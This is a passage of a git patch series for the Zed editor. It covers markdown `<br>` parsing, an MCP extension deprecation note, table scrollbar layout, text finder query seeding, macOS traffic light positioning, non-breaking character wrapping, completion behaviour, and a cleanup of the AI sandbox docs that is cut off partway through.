     fn test_escape_prevents_code_block() {
         let diagnostic = "    | { a: string }";
@@ -4858,13 +5126,6 @@ mod tests {
 
     #[gpui::test]
     fn test_context_menu_link_initial_state(cx: &mut TestAppContext) {
-        struct TestWindow;
-        impl Render for TestWindow {
-            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
-                div()
-            }
-        }
-
         ensure_theme_initialized(cx);
         let (_, cx) = cx.add_window_view(|_, _| TestWindow);
         let markdown =
@@ -4878,13 +5139,6 @@ mod tests {
 
     #[gpui::test]
     fn test_capture_for_context_menu(cx: &mut TestAppContext) {
-        struct TestWindow;
-        impl Render for TestWindow {
-            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
-                div()
-            }
-        }
-
         ensure_theme_initialized(cx);
         let (_, cx) = cx.add_window_view(|_, _| TestWindow);
         let markdown = cx.new(|cx| Markdown::new("text".into(), None, None, cx));
diff --git a/crates/markdown/src/parser.rs b/crates/markdown/src/parser.rs
index 6301d759f69df5..7edc7d6693bfb8 100644
--- a/crates/markdown/src/parser.rs
+++ b/crates/markdown/src/parser.rs
@@ -207,6 +207,21 @@ fn trim_metadata_range(source: &str, range: Range<usize>) -> Range<usize> {
     start..end
 }
 
+fn is_br_tag(html: &str) -> bool {
+    let Some(inner) = html
+        .trim()
+        .strip_prefix('<')
+        .and_then(|s| s.strip_suffix('>'))
+    else {
+        return false;
+    };
+    let inner = inner.strip_suffix('/').unwrap_or(inner);
+    inner
+        .split_ascii_whitespace()
+        .next()
+        .is_some_and(|name| name.eq_ignore_ascii_case("br"))
+}
+
 pub(crate) fn parse_markdown_with_options(
     text: &str,
     parse_html: bool,
@@ -488,13 +503,13 @@ pub(crate) fn parse_markdown_with_options(
                     parsed,
                 }];
 
-                while matches!(parser.peek(), Some((pulldown_cmark::Event::Text(_), _)))
-                    || (parse_html
-                        && matches!(
-                            parser.peek(),
-                            Some((pulldown_cmark::Event::InlineHtml(_), _))
-                        ))
-                {
+                while match parser.peek() {
+                    Some((pulldown_cmark::Event::Text(_), _)) => true,
+                    Some((pulldown_cmark::Event::InlineHtml(html), _)) => {
+                        parse_html && !is_br_tag(html)
+                    }
+                    _ => false,
+                } {
                     let Some((next_event, next_range)) = parser.next() else {
                         unreachable!()
                     };
@@ -616,8 +631,12 @@ pub(crate) fn parse_markdown_with_options(
                 state.push_event(content_range, MarkdownEvent::Code)
             }
             pulldown_cmark::Event::Html(_) => state.push_event(range, MarkdownEvent::Html),
-            pulldown_cmark::Event::InlineHtml(_) => {
-                state.push_event(range, MarkdownEvent::InlineHtml)
+            pulldown_cmark::Event::InlineHtml(html) => {
+                if parse_html && is_br_tag(&html) {
+                    state.push_event(range, MarkdownEvent::HardBreak)
+                } else {
+                    state.push_event(range, MarkdownEvent::InlineHtml)
+                }
             }
             pulldown_cmark::Event::FootnoteReference(label) => state.push_event(
                 range,
@@ -1664,4 +1683,92 @@ mod tests {
             ]
         );
     }
+
+    #[test]
+    fn test_br_tag_emits_hard_break() {
+        for input in [
+            "hello<br>world",
+            "hello<br/>world",
+            "hello<br />world",
+            "hello<br >world",
+            "hello<BR>world",
+            "hello<br class=\"x\">world",
+            "hello<br class=\"x\"/>world",
+        ] {
+            let parsed = parse_markdown_with_options(input, true, false, false);
+            let has_hard_break = parsed
+                .events
+                .iter()
+                .any(|(_, event)| matches!(event, MarkdownEvent::HardBreak));
+            let has_empty_substituted_text = parsed.events.iter().any(|(_, event)| {
+                matches!(event, MarkdownEvent::SubstitutedText(text) if text.is_empty())
+            });
+            assert!(has_hard_break, "<br> in \"{input}\" should emit HardBreak");
+            assert!(
+                !has_empty_substituted_text,
+                "<br> in \"{input}\" should not produce empty SubstitutedText"
+            );
+        }
+    }
+
+    #[test]
+    fn test_br_tag_not_a_hard_break_without_parse_html() {
+        for input in ["hello<br>world", "hello<br/>world", "hello<br />world"] {
+            let parsed = parse_markdown_with_options(input, false, false, false);
+            let has_hard_break = parsed
+                .events
+                .iter()
+                .any(|(_, event)| matches!(event, MarkdownEvent::HardBreak));
+            let has_inline_html = parsed
+                .events
+                .iter()
+                .any(|(_, event)| matches!(event, MarkdownEvent::InlineHtml));
+            assert!(
+                !has_hard_break,
+                "<br> in \"{input}\" should not emit HardBreak when parse_html is disabled"
+            );
+            assert!(
+                has_inline_html,
+                "<br> in \"{input}\" should be preserved as InlineHtml when parse_html is disabled"
+            );
+        }
+    }
+
+    #[test]
+    fn test_br_prefixed_tag_is_not_a_hard_break() {
+        for input in ["a<break>b", "a<brick>b", "a<b>bold</b>c"] {
+            let parsed = parse_markdown_with_options(input, true, false, false);
+            let has_hard_break = parsed
+                .events
+                .iter()
+                .any(|(_, event)| matches!(event, MarkdownEvent::HardBreak));
+            assert!(
+                !has_hard_break,
+                "\"{input}\" should not be treated as a <br> hard break"
+            );
+        }
+    }
+
+    #[test]
+    fn test_unrecognized_inline_html_preserved_as_inline_html() {
+        for input in ["a<span>b</span>c", "a<em>b</em>c", "a<strong>b</strong>c"] {
+            let parsed = parse_markdown_with_options(input, false, false, false);
+            let has_inline_html = parsed
+                .events
+                .iter()
+                .any(|(_, event)| matches!(event, MarkdownEvent::InlineHtml));
+            let has_hard_break = parsed
+                .events
+                .iter()
+                .any(|(_, event)| matches!(event, MarkdownEvent::HardBreak));
+            assert!(
+                has_inline_html,
+                "unrecognized inline HTML \"{input}\" should emit InlineHtml"
+            );
+            assert!(
+                !has_hard_break,
+                "unrecognized inline HTML \"{input}\" should not emit HardBreak"
+            );
+        }
+    }
 }

From 01c316ae31cb45f2b223a38235ca9962b3a797f2 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Wed, 24 Jun 2026 12:51:12 +0200
Subject: [PATCH 075/772] docs: Add note about upcoming MCP extension
 deprecation (#59812)

Release Notes:

- N/A
---
 docs/src/extensions/mcp-extensions.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docs/src/extensions/mcp-extensions.md b/docs/src/extensions/mcp-extensions.md
index 71bc206768b3e4..301a720219ed4c 100644
--- a/docs/src/extensions/mcp-extensions.md
+++ b/docs/src/extensions/mcp-extensions.md
@@ -5,6 +5,8 @@ description: "MCP Server Extensions for Zed extensions."
 
 # MCP Server Extensions
 
+> We plan to deprecate MCP server extensions in favor of the [official MCP registry](https://registry.modelcontextprotocol.io/). To keep your MCP server available in Zed, publish it to the official registry as well. Follow our deprecation progress in the [tracking issue](https://github.com/zed-industries/zed/issues/59351).
+
 [Model Context Protocol servers](../ai/mcp.md) can be exposed as extensions for use in the Agent Panel.
 
 ## Defining MCP Extensions

From c8f68c38e249a2a97a23a56dcf0ce419f4637919 Mon Sep 17 00:00:00 2001
From: Oleksandr Kholiavko <43780952+HalavicH@users.noreply.github.com>
Date: Wed, 24 Jun 2026 14:29:42 +0200
Subject: [PATCH 076/772] csv_preview: Make horizontal scrollbar width respect
 pinned columns config (#57245)

## Data table: Add left inset for scrollbar alignment with pinned
columns

When pinned columns are enabled in the data table, the horizontal
scrollbar previously extended across the full table width, including
behind the pinned columns. This change adds a left inset to the
scrollbar so it only spans the scrollable area, properly aligning with
the content layout.

## Demo (look at bottom scrollbar)
| Before | After|
| --- | --- |
| <img width="1614" height="482" alt="image_2026-05-20_12-29-22"
src="https://github.com/user-attachments/assets/87050173-0f3a-46dd-a7e1-10f769c7b5b8"
/> | <img width="1526" height="420" alt="image_2026-05-20_12-32-48"
src="https://github.com/user-attachments/assets/5041069f-2289-449b-8d30-8bcb3d0890eb"
/> |
### Changes

- Add `pinned_width()` and `scrollable_width()` helper methods to
`ResizableColumnsState` to compute column widths
- Refactor scrollbar rendering to use absolute positioning with inset
when pinned columns are present
- Scrollbar now correctly positions itself to span only the scrollable
(non-pinned) column area

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Improved horizontal scrollbar alignment when pinned columns are active

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/ui/src/components/data_table.rs       | 72 ++++++++++++++------
 crates/ui/src/components/data_table/tests.rs |  7 ++
 2 files changed, 57 insertions(+), 22 deletions(-)

diff --git a/crates/ui/src/components/data_table.rs b/crates/ui/src/components/data_table.rs
index 77061dbfa71f60..609ddef1d81e4b 100644
--- a/crates/ui/src/components/data_table.rs
+++ b/crates/ui/src/components/data_table.rs
@@ -108,6 +108,20 @@ impl ResizableColumnsState {
         self.widths[col_idx] = self.initial_widths[col_idx];
     }
 
+    pub fn pinned_width(&self, pinned_cols: usize, rem_size: Pixels) -> Pixels {
+        self.widths[..pinned_cols]
+            .iter()
+            .map(|w| w.to_pixels(rem_size))
+            .fold(px(0.), |acc, x| acc + x)
+    }
+
+    pub fn scrollable_width(&self, pinned_cols: usize, rem_size: Pixels) -> Pixels {
+        self.widths[pinned_cols..]
+            .iter()
+            .map(|w| w.to_pixels(rem_size))
+            .fold(px(0.), |acc, x| acc + x)
+    }
+
     fn apply_min_size(
         &self,
         width: Pixels,
@@ -916,10 +930,9 @@ fn render_resize_handles_resizable(
     window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
-    let (widths, resize_behavior) = {
-        let state = columns_state.read(cx);
-        (state.widths.clone(), state.resize_behavior.clone())
-    };
+    let state = columns_state.read(cx);
+    let widths = state.widths.clone();
+    let resize_behavior = state.resize_behavior().clone();
 
     let rem_size = window.rem_size();
     let n_cols = widths.cols();
@@ -945,14 +958,8 @@ fn render_resize_handles_resizable(
             .into_any_element();
     }
 
-    let pinned_width: Pixels = widths[..pinned_cols]
-        .iter()
-        .map(|w| w.to_pixels(rem_size))
-        .fold(px(0.), |acc, x| acc + x);
-    let total_scrollable_width: Pixels = widths[pinned_cols..]
-        .iter()
-        .map(|w| w.to_pixels(rem_size))
-        .fold(px(0.), |acc, x| acc + x);
+    let pinned_width = state.pinned_width(pinned_cols, rem_size);
+    let total_scrollable_width = state.scrollable_width(pinned_cols, rem_size);
 
     // Non-interactive: pinned columns don't visually shift with scroll, so resizing them would
     // need separate drag-math from the scrollable columns. Header double-click reset still works.
@@ -1023,9 +1030,12 @@ impl RenderOnce for Table {
             .interaction_state
             .clone()
             .and_then(|state| state.upgrade());
-        let pinned_cols = self.pinned_cols;
-        let uses_pinned_layout = is_pinned_layout(pinned_cols, self.cols);
-        let resize_handle_pinned_cols = if uses_pinned_layout { pinned_cols } else { 0 };
+        let uses_pinned_layout = is_pinned_layout(self.pinned_cols, self.cols);
+        let pinned_cols = if uses_pinned_layout {
+            self.pinned_cols
+        } else {
+            0
+        };
 
         // Shared by every row's scrollable section so they scroll in lockstep, and read by
         // on_drag_move to compensate drag_x for the horizontal scroll offset.
@@ -1089,7 +1099,7 @@ impl RenderOnce for Table {
                         Some(entity.clone()),
                         Some(render_resize_handles_resizable(
                             entity,
-                            resize_handle_pinned_cols,
+                            pinned_cols,
                             h_scroll_handle.as_ref(),
                             window,
                             cx,
@@ -1265,12 +1275,30 @@ impl RenderOnce for Table {
 
             // Works for both modes since they share horizontal_scroll_handle.
             if is_resizable {
-                content = content.custom_scrollbars(
-                    Scrollbars::new(ScrollAxes::Horizontal)
-                        .tracked_scroll_handle(&state.read(cx).horizontal_scroll_handle),
-                    window,
-                    cx,
-                );
+                if let ColumnWidthConfig::Resizable(rc_state) = self.column_width_config {
+                    let pinned_width = rc_state
+                        .read(cx)
+                        .pinned_width(pinned_cols, window.rem_size());
+                    // With pinned columns the scrollbar should only span the scrollable area.
+                    // An absolute overlay inset on all sides then overriding left to pinned_width
+                    // gives the correct bounds (full height via top+bottom, correct width via
+                    // right+left) without needing to hardcode the scrollbar thickness.
+                    let h_scrollbar = div().absolute().inset_0().left(pinned_width);
+                    let h_scrollbar = h_scrollbar.custom_scrollbars(
+                        Scrollbars::new(ScrollAxes::Horizontal)
+                            .tracked_scroll_handle(&state.read(cx).horizontal_scroll_handle),
+                        window,
+                        cx,
+                    );
+                    content = content.child(h_scrollbar);
+                } else {
+                    content = content.custom_scrollbars(
+                        Scrollbars::new(ScrollAxes::Horizontal)
+                            .tracked_scroll_handle(&state.read(cx).horizontal_scroll_handle),
+                        window,
+                        cx,
+                    );
+                }
             }
             content.style().restrict_scroll_to_axis = Some(true);
 
diff --git a/crates/ui/src/components/data_table/tests.rs b/crates/ui/src/components/data_table/tests.rs
index 457efbf25f856a..509cceca71204b 100644
--- a/crates/ui/src/components/data_table/tests.rs
+++ b/crates/ui/src/components/data_table/tests.rs
@@ -385,6 +385,13 @@ mod resizable_drag {
         s.drag_to(0, px(-50.), px(REM));
         assert_eq!(widths_px(&s), vec![16., 100.]);
     }
+
+    #[test]
+    fn pinned_and_scrollable_width_split() {
+        let s = state(&[100., 100., 100.], vec![TableResizeBehavior::None; 3]);
+        assert_eq!(f32::from(s.pinned_width(2, px(REM))), 200.);
+        assert_eq!(f32::from(s.scrollable_width(2, px(REM))), 100.);
+    }
 }
 
 mod pin_layout {

From 6c923cc1170f064dbbacdfd44964b1840c0dab90 Mon Sep 17 00:00:00 2001
From: ozacod <47009516+ozacod@users.noreply.github.com>
Date: Wed, 24 Jun 2026 16:15:12 +0300
Subject: [PATCH 077/772] text_finder: Seed text finder query from active
 project and buffer search (#59779)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

When opening the text finder (`text_finder::Toggle`), pre-populate its
query the same way project search already seeds itself. Previously
`seed_query` only asked the active editor for the word under the cursor,
so opening the text finder from a project search tab or a focused buffer
search bar started empty.

`seed_query` now tries these sources in priority order:

1. **Active project search** — its current query
(`ProjectSearchView::search_query_text`).
2. **Focused buffer search bar** — its query, reusing project search's
existing `buffer_search_query` helper (promoted from private to
`pub(crate)` so there's one source of truth rather than a copy).
3. **Word under the cursor** — the existing `query_suggestion` fallback,
still honoring the `seed_search_query_from_cursor` setting.

This mirrors how project search is fed from the buffer search bar
(`existing_or_new_search`), keeping the seeding behavior consistent
across the three search surfaces.

## Testing

- Manual: open project search with a query → toggle text finder → query
carries over; cmd+f with a query focused → toggle text finder → query
carries over; otherwise the word under the cursor seeds it as before.

Release Notes:

- Improved text finder to pre-fill its query from the active project
search or buffer search

---------

Co-authored-by: ozacod <ozacod@users.noreply.github.com>
Co-authored-by: Yara 🏳️‍⚧️ <git@yara.blue>
---
 crates/search/src/project_search.rs |  2 +-
 crates/search/src/text_finder.rs    | 26 +++++++++++++++++++++-----
 2 files changed, 22 insertions(+), 6 deletions(-)

diff --git a/crates/search/src/project_search.rs b/crates/search/src/project_search.rs
index c014c6b4228392..0ab303409d1cbf 100644
--- a/crates/search/src/project_search.rs
+++ b/crates/search/src/project_search.rs
@@ -1916,7 +1916,7 @@ impl ProjectSearchView {
     }
 }
 
-fn buffer_search_query(
+pub(crate) fn buffer_search_query(
     workspace: &mut Workspace,
     item: &dyn ItemHandle,
     cx: &mut Context<Workspace>,
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index 2215f5a6613051..fde2f6da53760f 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -206,15 +206,31 @@ impl TextFinder {
             .update(cx, |p, _| p.delegate.in_progress_search.take_connected())
     }
 
-    /// The word under the cursor (or current selection) of the active editor,
-    /// used to pre-populate the text finder query. Honors the
-    /// `seed_search_query_from_cursor` setting, matching project search.
+    /// The query to pre-populate the text finder with, sourced from the active
+    /// item in priority order, mirroring how project search seeds itself: an
+    /// active project search's query, then a focused buffer search bar's query,
+    /// then the word under the cursor (honoring `seed_search_query_from_cursor`).
     fn seed_query(
-        workspace: &Workspace,
+        workspace: &mut Workspace,
         window: &mut Window,
         cx: &mut Context<Workspace>,
     ) -> Option<String> {
-        let editor = workspace.active_item(cx)?.act_as::<Editor>(cx)?;
+        let item = workspace.active_item(cx)?;
+
+        if let Some(project_search) = item.downcast::<ProjectSearchView>() {
+            let query = project_search.read(cx).search_query_text(cx);
+            if !query.is_empty() {
+                return Some(query);
+            }
+        }
+
+        if let Some(query) =
+            crate::project_search::buffer_search_query(workspace, item.as_ref(), cx)
+        {
+            return Some(query);
+        }
+
+        let editor = item.act_as::<Editor>(cx)?;
         let query = editor.query_suggestion(None, window, cx);
         (!query.is_empty()).then_some(query)
     }

From f18e91efc6de8ae74fa7e7606203210a7a25286f Mon Sep 17 00:00:00 2001
From: Vitaly Kravchenko <vitalyx@gmail.com>
Date: Wed, 24 Jun 2026 15:00:13 +0100
Subject: [PATCH 078/772] Reapply traffic light position after appearance
 changes (#59712)

## Bug

Before switching macOS appearance:
<img width="154" height="39" alt="before switching OS theme"
src="https://github.com/user-attachments/assets/2444fafe-21a7-47f6-84ac-ec33a61a6523"
/>

After switching macOS appearance:
<img width="167" height="36" alt="after switching OS theme"
src="https://github.com/user-attachments/assets/d4a34555-2964-4e92-8d6a-24da7620fc49"
/>

After focusing the window following the macOS appearance switch:
<img width="151" height="37" alt="after focusing the window after
switching the OS theme"
src="https://github.com/user-attachments/assets/6bc2e996-256d-448d-a11b-fdc2f0e01f58"
/>

## Fix

Reapply GPUI's custom macOS traffic-light button position after AppKit
reports an effective appearance change and after GPUI's appearance
observers have been notified.

## Cause

GPUI stores a custom `traffic_light_position` for windows that use
transparent/custom titlebars. When macOS switches Light/Dark appearance,
AppKit can relayout the standard window buttons, which resets the
traffic lights to AppKit's default vertical position. The next normal
window focus/layout pass moves them back, causing a visible jump.

This change keeps the existing appearance observer callback behavior,
then re-runs `move_traffic_light()` after the callback has completed.

## Validation

- `cargo check -p gpui_macos --release --features runtime_shaders`
- Manually verified with a GPUI window using a transparent titlebar,
custom `traffic_light_position`, and an appearance observer that
refreshes the window.
- Toggled macOS Light/Dark appearance while the window was visible;
traffic lights no longer shifted upward.

Release Notes:

- N/A
---
 crates/gpui_macos/src/window.rs | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/crates/gpui_macos/src/window.rs b/crates/gpui_macos/src/window.rs
index 507e51c26f82e0..938633d4749118 100644
--- a/crates/gpui_macos/src/window.rs
+++ b/crates/gpui_macos/src/window.rs
@@ -2827,12 +2827,20 @@ extern "C" fn do_command_by_selector(this: &Object, _: Sel, _: Sel) {
 extern "C" fn view_did_change_effective_appearance(this: &Object, _: Sel) {
     unsafe {
         let state = get_window_state(this);
-        let mut lock = state.as_ref().lock();
-        if let Some(mut callback) = lock.appearance_changed_callback.take() {
-            drop(lock);
+        let appearance_changed_callback = {
+            let mut lock = state.as_ref().lock();
+            lock.appearance_changed_callback.take()
+        };
+
+        if let Some(mut callback) = appearance_changed_callback {
             callback();
             state.lock().appearance_changed_callback = Some(callback);
         }
+
+        // AppKit can relayout the standard traffic light buttons as part of
+        // applying a new appearance. Reapply GPUI's custom position after
+        // notifying appearance observers.
+        state.lock().move_traffic_light();
     }
 }
 

From 8036a3c74b7431b469b00f52ef5f2a546c8e7f60 Mon Sep 17 00:00:00 2001
From: Sam Trouy <35753167+smltr@users.noreply.github.com>
Date: Wed, 24 Jun 2026 10:18:04 -0400
Subject: [PATCH 079/772] Add non breaking glue characters as non-wrapping
 characters (#59775)

# Objective

Fixes #57850

NBSP, NNBSP, and NBH characters were causing breaks when text is wrapped
in editor when they should instead be non-breaking.

## Solution

I looked for an official spec and found [Unicode Line Breaking
Algorithm](https://www.unicode.org/reports/tr14/) which has these
characters listed under the non-breaking ("glue") section. I opted to
add these characters in manually within the logic that checks if a
character is a 'word' character or not, following the pattern for how
other groups of unicode characters are checked.

## Testing

- Tests were added under `test_is_word_char` and `test_wrap_line`
sections, and the expected behavior was verified by building zed and
using these characters in the editor.
- I don't think anything else needs testing now. In the future, it could
make sense to make sure the entire unicode spec is followed for line
breaking, as I imagine there are other obscure characters that could
have this same issue. (a `unicode-linebreak` crate is imported elsewhere
in the codebase but not used here)
- Changes can be tested by building this commit and following the
original instructions outlined in the related issue.
- Tested on linux

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (**no unsafe
blocks**)
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before/After</summary>

### Before
<img width="449" height="443" alt="before"
src="https://github.com/user-attachments/assets/4d438966-1bab-46e4-a018-cd648395a1ca"
/>

### After
<img width="448" height="445" alt="after"
src="https://github.com/user-attachments/assets/c7ce7166-9c22-4083-850f-8d8acfc42b56"
/>


</details>

---

Release Notes:

- N/A
---
 crates/gpui/src/text_system/line_wrapper.rs | 22 ++++++++++++++++++++-
 1 file changed, 21 insertions(+), 1 deletion(-)

diff --git a/crates/gpui/src/text_system/line_wrapper.rs b/crates/gpui/src/text_system/line_wrapper.rs
index dd6d2d987079dc..dc2b8667cfae0c 100644
--- a/crates/gpui/src/text_system/line_wrapper.rs
+++ b/crates/gpui/src/text_system/line_wrapper.rs
@@ -477,7 +477,10 @@ impl LineWrapper {
         // is included so it stays attached to the preceding word when wrapping.
         matches!(c, '-' | '_' | '.' | '\'' | '’' | '‘' | '$' | '%' | '@' | '#' | '^' | '~' | ',' | '=' | ':' | ';') ||
         // `⋯` character is special used in Zed, to keep this at the end of the line.
-        matches!(c, '⋯')
+        matches!(c, '⋯') ||
+
+        // Non-breaking glue characters
+        matches!(c, '\u{202F}' | '\u{00A0}' | '\u{2011}')
     }
 
     #[inline(always)]
@@ -842,6 +845,17 @@ mod tests {
                 Boundary::new(18, 0)
             ],
         );
+
+        // Test with non-breaking glue characters
+        assert_eq!(
+            wrapper
+                .wrap_line(
+                    &[LineFragment::text("a\u{202F}b\u{00A0}c\u{2011}d e")],
+                    px(72.0)
+                )
+                .collect::<Vec<_>>(),
+            &[Boundary::new(12, 0),], // special chars above take up 3, 2 and 3 bytes, so boundary ends up at 12
+        );
     }
 
     #[test]
@@ -1170,6 +1184,12 @@ mod tests {
         assert_not_word("こんにちは");
         assert_not_word("😀😁😂");
         assert_not_word("()[]{}<>");
+
+        // Non-breaking ("Glue") characters, see https://www.unicode.org/reports/tr14/
+        // (https://github.com/zed-industries/zed/issues/59664)
+        assert_word("\u{202F}"); // NNBSP " "
+        assert_word("\u{00A0}"); // NBSP " "
+        assert_word("\u{2011}"); // NBH "‑"
     }
 
     // For compatibility with the test macro

From e990f31ad7a7dd1bc1878b68fb55b89a4753b151 Mon Sep 17 00:00:00 2001
From: Finn Eitreim <48069764+feitreim@users.noreply.github.com>
Date: Wed, 24 Jun 2026 10:49:03 -0400
Subject: [PATCH 080/772] editor: Fix showing completion list with selection
 does not include the selection (#57405)

Fix the completion list not showing the current selection when you
execute `editor: show completions`, the stated reason by comment before
is that if you are in a tabstop snippet already it wont give you the
correct options. So my change is to just check if you are in such a
snippet and if not give the new desired behavior.

before:


https://github.com/user-attachments/assets/1b2f3594-7361-4636-9ef3-f8c9419faa26

after:


https://github.com/user-attachments/assets/1be35582-464a-40f3-b6be-ee74f9961796


Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #57386

Release Notes:

- editor: include text from selection in completion list.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/editor/src/completions.rs  | 24 +++++---
 crates/editor/src/editor_tests.rs | 95 +++++++++++++++++++++++++++++++
 2 files changed, 110 insertions(+), 9 deletions(-)

diff --git a/crates/editor/src/completions.rs b/crates/editor/src/completions.rs
index df00100365ed82..e2f0be07ce0968 100644
--- a/crates/editor/src/completions.rs
+++ b/crates/editor/src/completions.rs
@@ -266,14 +266,20 @@ impl Editor {
 
         let multibuffer_snapshot = self.buffer.read(cx).read(cx);
 
-        // Typically `start` == `end`, but with snippet tabstop choices the default choice is
-        // inserted and selected. To handle that case, the start of the selection is used so that
-        // the menu starts with all choices.
-        let position = self
-            .selections
-            .newest_anchor()
-            .start
-            .bias_right(&multibuffer_snapshot);
+        let is_showing_snippet_choices = matches!(
+            completions_source,
+            Some(CompletionsMenuSource::SnippetChoices)
+        );
+
+        let anchor = self.selections.newest_anchor();
+        let position = if is_showing_snippet_choices {
+            // Typically `start` == `end`, but with snippet tabstop choices the default choice is
+            // inserted and selected. To handle that case, the start of the selection is used so that
+            // the menu starts with all choices.
+            anchor.start.bias_right(&multibuffer_snapshot)
+        } else {
+            anchor.head().bias_right(&multibuffer_snapshot)
+        };
 
         if position.diff_base_anchor().is_some() {
             return;
@@ -315,7 +321,7 @@ impl Editor {
 
         // Hide the current completions menu when query is empty. Without this, cached
         // completions from before the trigger char may be reused (#32774).
-        if query.is_none() && menu_is_open {
+        if query.is_none() && menu_is_open && !is_showing_snippet_choices {
             self.hide_context_menu(window, cx);
         }
 
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index a3a0acd392449f..f8d98a2b06619d 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -13732,6 +13732,49 @@ async fn test_snippet_placeholder_choices(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_snippet_choices_menu_survives_completion_refresh(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let (text, insertion_ranges) = marked_text_ranges(
+        indoc! {"
+            ˇ
+        "},
+        false,
+    );
+
+    let buffer = cx.update(|cx| MultiBuffer::build_simple(&text, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| build_editor(buffer, window, cx));
+
+    _ = editor.update_in(cx, |editor, window, cx| {
+        let snippet = Snippet::parse("type ${1|i32,u32|} = $2").unwrap();
+
+        editor
+            .insert_snippet(
+                &insertion_ranges
+                    .iter()
+                    .map(|range| MultiBufferOffset(range.start)..MultiBufferOffset(range.end))
+                    .collect::<Vec<_>>(),
+                snippet,
+                window,
+                cx,
+            )
+            .unwrap();
+
+        assert!(
+            editor.context_menu_visible(),
+            "Snippet choices menu should be visible after inserting the choice tabstop"
+        );
+
+        editor.open_or_update_completions_menu(None, None, false, window, cx);
+
+        assert!(
+            editor.context_menu_visible(),
+            "Snippet choices menu should remain visible after a completion refresh with an empty query"
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_snippet_tabstop_navigation_with_placeholders(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
@@ -18359,6 +18402,58 @@ async fn test_word_completions_continue_on_typing(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_completions_use_selection_head(cx: &mut TestAppContext) {
+    init_test(cx, |language_settings| {
+        language_settings.defaults.completions = Some(CompletionSettingsContent {
+            words: Some(WordsCompletionMode::Disabled),
+            words_min_length: Some(0),
+            lsp_insert_mode: Some(LspInsertMode::Insert),
+            ..Default::default()
+        });
+    });
+
+    let mut cx = EditorLspTestContext::new_rust(
+        lsp::ServerCapabilities {
+            completion_provider: Some(lsp::CompletionOptions::default()),
+            ..lsp::ServerCapabilities::default()
+        },
+        cx,
+    )
+    .await;
+
+    let _completion_requests_handler =
+        cx.lsp
+            .server
+            .on_request::<lsp::request::Completion, _, _>(move |_, _| async move {
+                panic!("LSP completions should not be queried when dealing with word completions")
+            });
+
+    cx.set_state(indoc! {"«applˇ»
+        applepie
+        banana
+        cherry
+    "});
+    cx.update_editor(|editor, window, cx| {
+        editor.show_word_completions(&ShowWordCompletions, window, cx);
+    });
+    cx.executor().run_until_parked();
+    cx.condition(|editor, _| editor.context_menu_visible())
+        .await;
+    cx.update_editor(|editor, _, _| {
+        if let Some(CodeContextMenu::Completions(menu)) = editor.context_menu.borrow_mut().as_ref()
+        {
+            assert_eq!(
+                completion_menu_entries(menu),
+                &["applepie"],
+                "Completion query should use the selection head (`appl`), filtering to words with that prefix"
+            );
+        } else {
+            panic!("expected completion menu to be open");
+        }
+    });
+}
+
 #[gpui::test]
 async fn test_word_completions_usually_skip_digits(cx: &mut TestAppContext) {
     init_test(cx, |language_settings| {

From 697cff57bc30b226431c05e9ab0dcfd996610c3d Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Wed, 24 Jun 2026 11:19:59 -0400
Subject: [PATCH 081/772] Remove SSH agent access from sandbox docs (#59797)

This removes sandbox prompt and documentation wording that claimed Git
metadata access exposes the inherited SSH agent socket. Git access
remains limited to protected metadata paths, and the Seatbelt wrapper no
longer carries SSH-agent-specific handling or examples.

Release Notes:

- Fixed AI sandboxing documentation to avoid implying Git metadata
access grants SSH agent access.
---
 crates/agent/src/templates.rs                |  2 --
 crates/agent/src/templates/system_prompt.hbs |  2 +-
 crates/sandbox/src/macos_seatbelt.rs         | 15 ++++++---------
 crates/sandbox/src/sandbox.rs                |  3 ---
 docs/src/ai/sandboxing.md                    |  1 -
 5 files changed, 7 insertions(+), 16 deletions(-)

diff --git a/crates/agent/src/templates.rs b/crates/agent/src/templates.rs
index 6ab4cdd3f1cc74..582c12f4fe31e8 100644
--- a/crates/agent/src/templates.rs
+++ b/crates/agent/src/templates.rs
@@ -216,8 +216,6 @@ mod tests {
         assert!(
             rendered.contains("worktree metadata that may live outside the project directories")
         );
-        assert!(rendered.contains("inherited SSH agent socket"));
